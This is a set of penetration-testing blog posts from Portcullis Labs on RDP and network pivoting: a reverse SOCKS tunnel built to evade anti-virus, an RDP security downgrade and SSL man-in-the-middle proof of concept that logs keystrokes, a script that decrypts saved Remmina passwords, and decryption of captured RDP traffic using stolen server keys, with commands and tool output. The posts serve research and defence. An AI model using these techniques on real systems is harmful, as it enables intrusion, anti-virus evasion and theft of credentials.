I recently spent quite a long time preparing for the CREST Certified Simulated Attack Specialist exam. While I won’t be discussing exam content (which I’m under NDA for), I thought it could be beneficial to write up at least some of the interesting stuff that I prepared prior to sitting the exam.

I spent a lot of time testing my tools and techniques against 5 different Anti-Virus (AV) products. I wanted to be sure that I had enough options available to me during the exam to operate efficiently, even if AV was present.  One scenario that I wanted to be prepared for was:

• Having a foothold (command execution) on a Windows system in an internal network; but
• being unable to deploy my normal C2 software (Cobalt Strike / Meterpreter) due to Anti-Virus / Endpoint Protection.

My practice had shown that I was able to deploy my C2 software of choice onto only 4 out 5 test systems. So this seemed like something I needed to prepare for. Just in case.

In parallel with this, I’d found that performance of SOCKS over a reverse HTTPS connection was barely adequate for tunneling an RDP connection. So I was interested in finding a solution that was:

• Faster
• Worked through a proxy; and
• Worked in the presence of my nemesis AV product

My instinct was to try to SSH out of the network and use the SOCKS proxy built into SSH.  There were a few problems with this approach:

1. I needed an SSH client – which I could solve by using Putty (read on for the reason I didn’t use plink)
2. I needed to get an SSH connection out of the network – which could probably do via the proxy using HTTP CONNECT in the same way used for legitimate TLS connections
3. SSH allows SSH clients to send traffic through a SOCKS proxy running on the SSH server. This was the opposite to what I needed. I needed the SSH server (on the “internet”) to be able to access a SOCKS Proxy running on the SSH Client. Which is a Windows box in this scenario. If the compromised host had been a *NIX host, I could potentially have SSH’d to localhost with the -D option to get the SOCKS server running, then made a second connection to the Internet to port-forward access to the SOCKS service

Communication flow between devices

Solving (3): SOCKS server

To solve (3) I looked for a small command line SOCKS proxy that ran on Windows. I did find some, but they all felt a bit dodgy and some said on their website that they definitely weren’t malware, despite what AV products said. Which is probably true, but it made them a poor option if I wanted to operate in the presence of AV.

Eventually I stumbled on a SOCKS5 implementation written in golang written by Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so this was a good opportunity for me to waste valuable revision time on a side-interest. I’d never even compiled a golan program before. If this wasn’t too hard, it would be a nice cross-platform solution for my needs.

$ mkdir -p ~/go/src
$ cd !$
$ git clone https://github.com/armon/go-socks5
$ mv go-socks5 socks5
$ cd socks5
$ go build

No errors

But no server either. This is just a library! You need to write some code to use it.

Fortunately, the author provides an example that’s easily adapted:

mkdir -p ~/go/src/mysocks5
cd !$
$ cat << EOF > mysocks.go
// Create a SOCKS5 server
package main
import "socks5"

func main() {
  conf := &socks5.Config{}
  server, err := socks5.New(conf)
  if err != nil {
    panic(err)
  }

  // Create SOCKS5 proxy on localhost port 1080
  if err := server.ListenAndServe("tcp", "127.0.0.1:1080"); err != nil {
    panic(err)
  }
}
EOF
go build

Done! I now had a “mysocks5″ executable. And it worked. Repeating similar steps on Windows gave me a working mysocks5.exe. I was starting to like golang at this point.

Solving (1): Putty configuration

After getting almost to the finish line with the following plink command, I couldn’t specify an HTTP proxy from the command line:

plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1

A quick overview of options here:

• -N: – I don’t need a shell, just an SSH connection for port forwarding
• -P 443 – Target port 443, not 22 since the proxy is likely to restrict us in this way
• -i puttykey.priv.ppk – The private key to access my listening SSH server, I needed logon to be non-interactive, obviously
• -R 2080:127.0.0.1:1080 – Open a listening port (2080) on the SSH server and forward connections to that port to 127.0.0.1:1080 on the SSH client
• -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a – We don’t want any warnings or questions about unverified host keys
• tunnnel@192.168.0.1 – Log into 192.168.0.1 as user tunnel

Using the normal putty.exe GUI, I saved a session that specified all of the above detail, plus the required proxy settings (unauthenticated in the case of my lab):

Proxy settings for SSH connection in Putty

I saved a putty session called myproxy, then retried plink:

plink -load myproxy

It crashed. Hence, why I’m not using plink.  Putty works fine, though:

putty -load myproxy

Well, sort of fine. The victim user would have a suspicious-looking putty window pop up alongside the mysocks console window. But this is just a PoC. Let’s ignore these missing optimisations!

How the attack looks from user’s perspective

On the server-side, we see a network listener on port 2080.

tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN

I wanted the service bound to 0.0.0.0 for my environment, but consider that anyone with network access could abuse your SOCKS proxy.

This provides a relatively high-performance SOCKS server – much better than those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll periodically over HTTPS, which means that traffic can only be sent when the implant calls home. The above method is more akin to SOCKS-over-reverse-TCP. Data can be sent in either direction immediately without waiting for a check-in. Arguably, the above method will create a more suspicious traffic pattern and some application-layer aware proxies won’t allow it (though tunneling over SSL could help).

Packaging it up

To deliver above attack, we need to package up the software and configuration so it can be run from the command line. We’ll assume that we can upload and unpack zip files for this part (or the post will get too long). I included the following in myproxy.zip:

• putty.exe
• mysocks5.exe
• myproxy.reg – Created by doing “reg export HKCU\Software\SimonTatham myproxy.reg”, then removing unnecessary configuration data in a text editor
• puttykey.priv.ppk – Created using puttygen, be sure to copy the openssh-format public key into ~tunnel/.ssh/authorized_key on the SSH server too
• mysocks.bat – See below

To deploy, we need to run mysocks.bat, which does the following:

reg import myproxy.reg
start mysocks5
putty -load myproxy

All finished. We can pivot through our fast SOCKS proxy. For example, to access RDP on the internal network, I’d do something like:

$ cat /etc/proxychains.conf
...
socks5  127.0.0.1 2080
$ proxychains remmina

Where remmina is a pretty awesome RDP client for Linux. You can also use proxifier on Windows if you’d rather use mstsc.exe.

Conclusion

We showed a PoC to get a reverse SOCKS connection out of a network using tools that won’t trigger AV. They don’t require privileges run, so would work against an unprivileged windows user. The connection is faster than if we’d used the SOCKS features of C2 solutions that use polling reverse-HTTPS connections.

Our attack is untidy because the user can see everything that happens! It’s also awkward to set up because of the registry export and required packaging.

Further Reading

• Chisel is a tool that can create a SOCKS-over-SSH-over-CONNECT-HTTP tunnel in the opposite direction the direction I needed
• Crowbar is a tool that lets you do port forwarding over HTTP channels (no reliance on the proxy CONNECT method)

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here.  We suspect that it’s a known limitation of the protocol.  But it’s one that we though would be interesting to post about.

In this post we provide a demonstration of such a downgrade attack using the aptly named PoC tool rdp-downgrade.py.

RDP Security Layer

Before discussing the downgrade attack, we should outline what we’ll be downgrading from and to.

The following Security Layers are available in the RDP protocol. Support for each can be configured on the Terminal Server:

• Classic RDP Protocol - this is known as “RDP Security Layer” in the tscc.msc configuration tool and PROTOCOL_RDP in the protocol specification (see page 40 of PDF)
• SSL - this is labelled “SSL” or “SSL (TLS 1.0)” in the GUI and called PROTOCOL_SSL in the protocol specification
• CredSSP - this is what you get when you check the ”Network Layer Authentication” box. It also uses uses SSL. It is called PROTOCOL_HYBRID in protocol specification

The first option is the insecure one. If this protocol were to be negotiated, the connection would be vulnerable to a well known “Man-In-The-Middle” attack.  Essentially, someone carrying out this attack would be able to see all your key strokes and any other data passed between client and server. This will therefore be the protocol we’ll be downgrading to.

The last two options are both SSL-wrapped and are more secure.  It will be these protocols that we’ll be downgrading from.

How to tell which security layer you connected with

The various warnings displayed by the Terminal Services client, mstsc.exe can be used as a crude way to identify which protocol is being used.

Classic RDP

Note that the warning message about not being able to authenticate the server tallies with the MiTM attack described above.

Warning For Classic RDP Connections

SSL

Unless you’ve configured your host to trust the SSL certificate of the RDP server, you’ll see a certificate warning like this one:

Warning for (Non-CredSSP) SSL Connections

CredSSP (NLA + SSL)

You get prompted for your username and password by a pop-up window – whereas Classic RDP and SSL both use a full Windows Desktop for password entry.

Dialogue Box For NLA Connections

Vulnerable configuration

Terminal Servers set to negotiate their Security Layer are potentially vulnerable to a downgrade attack. Here we view the settings on a Windows 2003 server, but this also holds for newer versions of Windows:

The downgrade attack

We will connect to a Windows 2003 RDP server configured to “Negotiate” its Security Layer.  We’ll connect from a modern windows system that supports Classic RDP, SSL and NLA. This server only supports Classic RDP and SSL. As we’d hope, the two will normally negotiate the most secure option supported by both: SSL.

During this attack we will modify network traffic to make the server believe the client only supports Classic RDP. We could intercept traffic using ARP-poisoning or DNS spoofing or some other method.

After connecting to TCP port 3389, the client (mstsc) sends data similar to the following (shown in hex):

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03* 00 00 00

The 03 is the protocols supported by the client. Several values are possible in this position:

• 00 – Only Classic RDP is supported
• 01 – SSL is supported in addition to Classic RDP.
• 03 – CredSSP is supported in addition to the other two protocols.

This is described on page 37 of the protocol specification.

So our proof-of-concept simply replaces the 03 with 00 to cause the client and server to negotiate Classic RDP instead of SSL.

We set our tool listening on 192.168.190.170 on TCP port 3389. We instruct it to forward traffic to 192.168.2.96.

$ python rdp-downgrade.py 192.168.2.96
[Proxy] Listening for connections on 0.0.0.0:3389

Rather than actually doing ARP-spoofing, I just connect directly to the “Man-In-The-Middle” in this demo:

Attacker IP Address Is Entered

Back in our PoC tool, we then see an incoming connection from the RDP client (192.168.190.1) and the proxy making an outgoing connection to the target server:

[Proxy] Incoming connection from 192.168.190.1:58715
[Proxy] New outgoing request to 192.168.2.96:3389
[Proxy] Connected

Next we see 19 bytes from the client – note the 03 near the end of the data from the client. This is recognised by our PoC tool and it prints a message to inform us the 03 has been changed to 00:

[From 192.168.190.1] Received 19 bytes
0000 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ................
0010 00 00 00 ...
[From 192.168.190.1] Modified data to downgrade connection

Then we see traffic flow freely without further modification:

[From 192.168.2.96] Received 19 bytes
0000 03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 00 .........4......
0010 00 00 00 ...
...snip...

mstsc shows us the warning message corresponding to a Classic RDP connection, proving that the downgrade has been successful – remember that we would normally expect a certificate warning for the SSL-wrapped RDP connection.

Warning Message For Classic RDP Connection

Conclusion

Configuring the Terminal Server to use SSL for it security layer instead of “Negotiate” prevents such a downgrade attack.

Vendor contact

We were not sure if Microsoft would consider this worthy of a security advisory. We didn’t think so, but sent them a preview of this post before publishing and asked.

Microsoft who responded swiftly to confirm that “After researching the issue, we consider this behavior to be By Design”. They thanked us for our commitment to co-ordinated disclosure and gave their blessing to proceed with publication.

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

Key features

• Finds every Remmina configuration file and preferences
• Decrypts every saved password for every user it finds
• Python based for easy access and speed

Overview

Remmina is a well used Linux based RDP connection software, as many people who use Linux use Remmina for connecting to multiple machines they often save the password for each connection, Remmina stores this password in an encrypted manner using a private key hidden in a seperate preference file for each user on the Linux machine. RPDscan actively finds these preference files and extracts the private key then uses this key to decrypt all of the saved passwords and then displays to the user the username the password and computer details.

Requirements

• Python
• Linux target

Installation

Download the script onto your target machine and run, there is no installation required for this tool.

Usage

# python RPDscan.py

RPDscan is initially set to search only the /home directory as 99% of all files will be in that location, however the python file can easily be edited to include the entire / tree.

Examples

# python RPDscan.py
found this pref file /home/fc/.remmina/remmina.pref========
Found a conf file: /home/fc/.remmina/1366367609312.remmina
Saved password:
^**D!sEx@mpl3ssh_username=ssh_server=

username=fc

domain=

server=172.16.0.266

========
Found a conf file: /home/fc/.remmina/1366641829516.remmina

server=10.256.0.1

Saved password:
@n0ther3Xamp!e

ssh_username=

ssh_server=

username=ExampleDomain\\Administrator

domain=

Here you can see that RPDscan has found two saved password files and extracted all the data you need to connect.

RPDscan.py.tgz
April 16, 2014

1.1 KiB
MD5 hash: 935738ab08748ff5ef09c2346ffc4755
Details

Date:

April 16, 2014

The post RPDscan appeared first on Portcullis Labs.

Put in more technical language: This post is about Perfect Forward Secrecy, how SSL connections often lack this desirable security property, that RDP uses SSL and therefore could also be vulnerable to retrospective decryption.

Recording encrypted RDP connections with Wireshark

I simply started recorded all traffic on my ethernet interface, then connected to an RDP server using mstsc and entered a password. I stopped the capture straight after entering a password.

How to tell if your RDP session is vulnerable

If you first “Analyze | Follow TCP Stream” for the TCP port 3389 traffic, then “Analyze | Decode As… | SSL”, Wireshark will show you the SSL Server Hello message. Check if it’s an RSA-based cipher suite.  If it is, this post applies to your RDP session and will show you how to decrypt it.

ServerHello showing the SSL cipher suite

Note that I’ve only tried this for plain SSL-based RDP connection – as opposed to CredSSP (SSL+NLA) connections, so YMMV.

On with the decryption…

Extracting private SSL keys for service certificates

Following a compromise of a server, an attacker with administrator level privileges could simply extract the private keys used for server authentication from the certificate store.

The geocerts site provides as good a walkthrough of how to do this as any other. The certificate used by the Terminal Server are in the “Personal” or “Remote Desktop” certificate store for the “Computer Account”. Simply use MMC’s “Certificates” plugin to export the private key for the SSL certificate. I exported in .pfx format, which requires you to set a password.

I’m using Windows 2003 Server for this demo. I’m aware that extracting the required certificates from later versions of Windows is harder. This is left as an exercise for the reader.

Converting from .pfc to .pem

In order to decrypt the SSL traffic we’ll use Wireshark which requires the private key to be in PEM format (.cer here). Simply convert using this OpenSSL one-liner:

$ openssl pkcs12 -in server-cert.pfx -out server-cert.cer -nodes

Decrypting traffic with Wireshark

Although Wireshark is slightly awkward to use for the decryption of SSL traffic, it worked first time for me using this tutorial.

I specified the RSA key list as:

192.168.2.96,3389,rdp,/tmp/server-cert.cer

It was then possible to see all the cleartext traffic in Wireshark.  In the “Follow TCP Stream” dialogue, I selected hexdump and scrolled down quite a long way. I was looking for a lot of short messages that corresponded to the keystrokes of the password I entered.

Keystrokes on the wire

Shown in red are the messages from the RDP client. We’ll inspect each of the 4-byte message starting “44 04 00″. These correspond to keys being pressed down – as opposed to “44 04 01″ which are keys being released.

The first message of interest is:

44 04 00 2a

Then (omitting a few that aren’t interesting):

44 04 00 19
44 04 01 2a
44 04 00 1e
44 04 00 1f
44 04 00 1f
44 04 00 11
44 04 00 18
44 04 00 13
44 04 00 20
44 04 00 02

In each case the last of the 4 bytes in the key scan code.  If we look up each in turn we find:

44 04 00 2a is Left-Shift-Down
44 04 00 19 is P
44 04 01 2a is Left-Shift-Up
44 04 00 1e is A
44 04 00 1f is S
44 04 00 1f is S
44 04 00 11 is W
44 04 00 18 is O
44 04 00 13 is R
44 04 00 20 is D
44 04 00 02 is 1

Making the password `Password1′ when we take account of the position of the SHIFT key.

Conclusions

The ability for an attacker to retrospectively decrypt SSL traffic can be undesirable in some (fairly unlikely) circumstances. This is not an unusual or isolated example. A great many HTTPS web sites are prone to the same issue.

This is not a vulnerability in the traditional sense. It rather raises the impact any vulnerability that allows an attacker to steal the private SSL key – at which point all security claims are naturally null and void anyway.

Actually, it’s interesting to review the lack of perfect forward secrecy against Microsoft’s definition of a security vulnerability. It does not seem to fit the definition. If lack of forward secrecy does indeed present a problem, the problem results ”from adhering to imperfect but widely accepted standards”.

Disabling support for RSA as the Key Exchange Algorithm is the usual remedy for this SSL issue. However, I haven’t been able to find a working solution on Windows 2003. I did experiment with setting this registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms\PKCS\Enabled = 0  (don't do this)

after reading KB245030. However, I only succeeded in preventing RDP connections entirely!

The post Retrospective decryption of SSL-encrypted RDP sessions appeared first on Portcullis Labs.

Types of RDP connections

Before we start, let’s first clarify which of the various RDP connection types this post is about. There are 3 types of connection:

• RDP Security Layer
• SSL (TLS 1.0)
• CredSSP (SSL with NLA)

It’s the middle one we’ll demonstrate an attack on in this post. On the Terminal Server, SSL is configured like this (with any NLA checkboxes unticked):

RDP configuration used

RDP configuration used

Some connections may also be vulnerable if the server is set to “Negotiate” its Security Layer to – as that could result in SSL being used.

SSL certificate warning

If users are used to dismissing a warnings like this one each time they connect, then this post is relevant to them:

SSL warning that should not be routinely ignored

Attack overview

At a high level, the attack will proceed in a similar way to any SSL MiTM attack:

1. Have the victim connect to a PoC tool (rdp-ssl-mitm.py) on our system instead of the RDP server they’re trying to reach
2. Using the RDP protocol, our tool will negotiate the use of SSL
3. At the point the connection is upgraded to SSL, our tool will negotiate an SSL connection with the RDP client using its own (untrusted) SSL certificate. This will give our tool access to data sent by the RDP client in cleartext
4. Our tool also needs to create an SSL connection with the legitimate RDP server down which it will send data from the RDP client

The only complication to this attack is that our tool has to talk the RDP protocol briefly before creating the required SSL connections.

1. Having the victim connect to us

In a real attack, we’d need to have the RDP client connect to our system instead of the target server. This could be achieved using ARP spoofing, DNS spoofing or some other method. Rather than cloud the demonstration with such details, we’ll assume this is step is possible and just type the IP address of the attacker system into the victim RDP client.

On our attacker system (192.168.190.170), we start our PoC tool. We tell it forward connections to the legitimate RDP server 192.168.2.96:

$ ./rdp-ssl-mitm.py -r 192.168.2.96:3389
[+] Listening for connections on 0.0.0.0:3389

And we simply enter the IP address of the attacker system into the RDP client (the client connects from 192.168.190.1):

We enter the attacker IP address to avoid the complexity of ARP spoofing

2. Talk RDP to the client to negotiate the use of SSL

The negotiation of SSL is quite short within the RDP protocol:

Message #1: Client > MiTM > Server

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03*
00 00 00

This message is fairly static and our tool just passes it through to the server unaltered. The *03* means that the client supports RDP Security Layer, SSL and CredSSP.

Message #2: Server > MiTM > Client

03 00 00 13 0e d0 00 00 12 34 00 02 00 08 00 *01*
00 00 00

In the next message the server chooses the protocol to use. The *01* in this case means the the server has chosen SSL (not CredSSP which would be *02*). Again, we pass this message back to the client unaltered.

Note that if the server were to select CredSSP (*02*), then the demonstration would fail. We’re attacking SSL, not CredSSP.

3. Create SSL connection with RDP client

Message #3: Client > MiTM

The 3rd message is the start of an SSL connection. Here is the SSL Client Hello message beginning *16 03 01*… (03 01 being the version of SSL used: SSL 3.1 AKA TLS 1.0).

*16 03 01* 00 5a 01 00 00 56 03 01 52 21 ac be 63
20 ce de 4b a5 90 18 f0 66 97 ee 9d 54 14 e3 1c
... snip ...

Our tool does not forward this data directly to the server. Instead it responds with a “SSL Server Hello” message and proceeds to complete the SSL connection with the client.

The SSL certificate we present to the RDP client is issued to fred and this is displayed in the mstsc SSL warning shown to the user:

The certificate presented by our PoC tool causes this security warning

The details of the SSL certificate differ to those the user would normally see – if the user were to check. To refine the attack we could make the certificate details match more closely, but we’d never get the signature to be the same as the normal certificate, so there’d always be a difference.

4. Create SSL connection with RDP server

Simultaneously, our tool also sends and SSL Client Hello to the RDP server and creates a second SSL connection.

Displaying key strokes

Our tool is now in a position to display the cleartext messages about keystrokes (for example) sent by the RDP client. It is relatively easy to determine what sort of message is sent when a key is pressed. The following two 4-byte messages are sent when the ‘p’ key is pressed:

44 04 00 19
44 04 01 19

The 3rd byte is the direction of key (00 means key-down, 01 means key-up).  The 4th byte is the key scan code.  If we look up 0×19 we find it corresponds to the p key.

In the general case, the scan-code to character mapping depends which keyboard you’re using. In the PoC tool I implemented the mapping for for QWERTY keyboards, so if you have a UK/US keyboard, it should translate the majority of scan-codes to the correct characters. Note that we don’t get know whether characters are uppercase or lowercase. We’d have to manually track the status of CAPS Lock and SHIFT keys.

Without getting too bogged down in the details, here’s some sample output from the PoC tool that shows keystrokes being logged – in particular an administrator logging in with username Administrator, password Password:

$ ./rdp-ssl-mitm.py -r 192.168.2.96:3389 
[+] Listening for connections on 0.0.0.0:3389
[+] Incoming connection from 192.168.190.1:60370
[+] New outgoing request to 192.168.2.96:3389 (SSL: 0)
[+] Connected
[+] Detected incoming SSL connection. Turning self into SSL socket
[+] Incoming connection from 192.168.190.1:60374
[+] New outgoing request to 192.168.2.96:3389 (SSL: 0)
[+] Connected
[+] Detected incoming SSL connection. Turning self into SSL socket
<LShift-down>A<LShift-up>DMINISTRATOR<Tab><LShift-down>P<LShift-up>ASSWORD<Enter>

Conclusions

Learning to ignore SSL certificate warnings is as bad for RDP connection as it is for HTTPS web sites. The results are similar: users quickly become vulnerable to “Man-In-The-Middle” attacks. Such attacks can harvest usernames, passwords, keystrokes and other sensitive data.

Using SSL certificates that are signed by a Certificate Authority the RDP client trusts will result in no warning under normal operation, so is highly recommended.

This attack doesn’t work if the server mandates NLA, so using NLA is also highly recommended.

It’s important to note that this isn’t a vulnerability in the RDP Client or Server software. Nor is this a  new discovery. It’s a weakness in way RDP is sometimes used which stems from users ignoring security warnings. At a technical level, this is a fairly vanilla SSL MiTM attack.

It might be interesting to extend this work by recording screen captures; or by injecting images of login boxes to encourage users to part of with other credentials. There would also be an opportunity to attack any drives that the RDP client has mapped for drive redirection – see Attacking the RDP Clients for inspiration. These would be pretty demanding coding challenges, though!

The post SSL “Man-In-The-Middle” attacks on RDP appeared first on Portcullis Labs.

Key features

• Support for targets file
• Support for saving the tool output to a specified logfile
• Control over the connection and responses timeouts
• Control over the number of retries when timeouts occurs

Overview

rdp-sec-check is a Perl script to enumerate the different security settings of an remote destktop service (AKA Terminal Services).

It does not require authentication, only network connectivity to TCP port 3389.

It can determine many (though not quite all) of the security settings from the RDP-Tcp Properties | General tab:

• Check which security layers are supported by the service: Standard RDP Security, TLSv1.0, CredSSP
• For Standard RDP Security it detects the level of encryption supported: 40-bit, 56-bit, 128-bit, FIPS

The following potential security issues are flagged if present:

• The service supports Standard RDP Security – rhis is known to be vulnerable to an active “Man-In-The-Middle” attack
• The service supports weak encryption (40-bit or 56-bit)
• The service does not mandate Network Level Authentication (NLA) - NLA can help to prevent certain types of Denial of Service attack
• The service supports FIPS encryption but doesn’t mandate it – may only be interesting for jurisdictions where FIPS is required

Requirements

rdp-sec-check is a simple Perl script that requires one module from CPAN. Run ‘cpan’ as root then install the Encoding::BER module:

# cpan
cpan[1]> install Encoding::BER

Example output 1: An old Windows 2000 RDP service

$ rdp-sec-check.pl 10.0.0.94
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:34:38 2012

Target:    10.0.0.94
IP:        10.0.0.94
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Negotiation ignored - old Windows 2000/XP/2003 system??

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Not supported

[+] Summary of protocol support

[-] 10.0.0.94:3389 supports PROTOCOL_RDP   : TRUE
[-] 10.0.0.94:3389 supports PROTOCOL_HYBRID: FALSE
[-] 10.0.0.94:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.94:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_128BIT : FALSE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 10.0.0.94:3389 supports ENCRYPTION_METHOD_FIPS   : FALSE

[+] Summary of security issues

[-] 10.0.0.94:3389 has issue NLA_NOT_SUPPORTED_DOS
[-] 10.0.0.94:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 10.0.0.94:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED

rdp-sec-check v0.8-beta completed at Mon Jul  9 13:34:39 2012

Example output 2: A Windows 2003 SP0 RDP service

$ rdp-sec-check.pl 10.0.0.93
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:35:34 2012

Target:    10.0.0.93
IP:        10.0.0.93
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Negotiation ignored - old Windows 2000/XP/2003 system?
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Negotiation ignored - old Windows 2000/XP/2003 system??

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE

[+] Summary of protocol support

[-] 10.0.0.93:3389 supports PROTOCOL_RDP   : TRUE
[-] 10.0.0.93:3389 supports PROTOCOL_HYBRID: FALSE
[-] 10.0.0.93:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.93:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_128BIT : TRUE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 10.0.0.93:3389 supports ENCRYPTION_METHOD_FIPS   : TRUE

[+] Summary of security issues

[-] 10.0.0.93:3389 has issue NLA_NOT_SUPPORTED_DOS
[-] 10.0.0.93:3389 has issue FIPS_SUPPORTED_BUT_NOT_MANDATED
[-] 10.0.0.93:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 10.0.0.93:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED

Example output 3: A typical Windows 2003 RDP service

$ rdp-sec-check.pl 10.0.0.111
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:36:56 2012

Target:    10.0.0.111
IP:        10.0.0.111
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Supported
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - SSL_NOT_ALLOWED_BY_SERVER
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Not supported - SSL_NOT_ALLOWED_BY_SERVER

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_56BIT...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_FIPS...Supported.  Server encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE

[+] Summary of protocol support

[-] 10.0.0.111:3389 supports PROTOCOL_RDP   : TRUE
[-] 10.0.0.111:3389 supports PROTOCOL_HYBRID: FALSE
[-] 10.0.0.111:3389 supports PROTOCOL_SSL   : FALSE

[+] Summary of RDP encryption support

[-] 10.0.0.111:3389 has encryption level: ENCRYPTION_LEVEL_CLIENT_COMPATIBLE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_NONE   : FALSE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_40BIT  : TRUE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_128BIT : TRUE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_56BIT  : TRUE
[-] 10.0.0.111:3389 supports ENCRYPTION_METHOD_FIPS   : TRUE

[+] Summary of security issues

[-] 10.0.0.111:3389 has issue NLA_NOT_SUPPORTED_DOS
[-] 10.0.0.111:3389 has issue FIPS_SUPPORTED_BUT_NOT_MANDATED
[-] 10.0.0.111:3389 has issue ONLY_RDP_SUPPORTED_MITM
[-] 10.0.0.111:3389 has issue WEAK_RDP_ENCRYPTION_SUPPORTED

rdp-sec-check v0.8-beta completed at Mon Jul  9 13:36:56 2012

Example output 4: A well configured Windows 2008 RDP service

$ rdp-sec-check.pl 10.0.0.21
Starting rdp-sec-check v0.8-beta ( https://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Mon Jul  9 13:32:30 2012

Target:    10.0.0.21
IP:        10.0.0.21
Port:      3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL_RDP) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER
[-] Checking if TLS Security (PROTOCOL_SSL) is supported...Not supported - HYBRID_REQUIRED_BY_SERVER
[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]...Supported

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_NONE...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_40BIT...Not supported
[-] Checking RDP Security Layer with encryption ENCRYPTION_METHOD_128BIT...Not supported
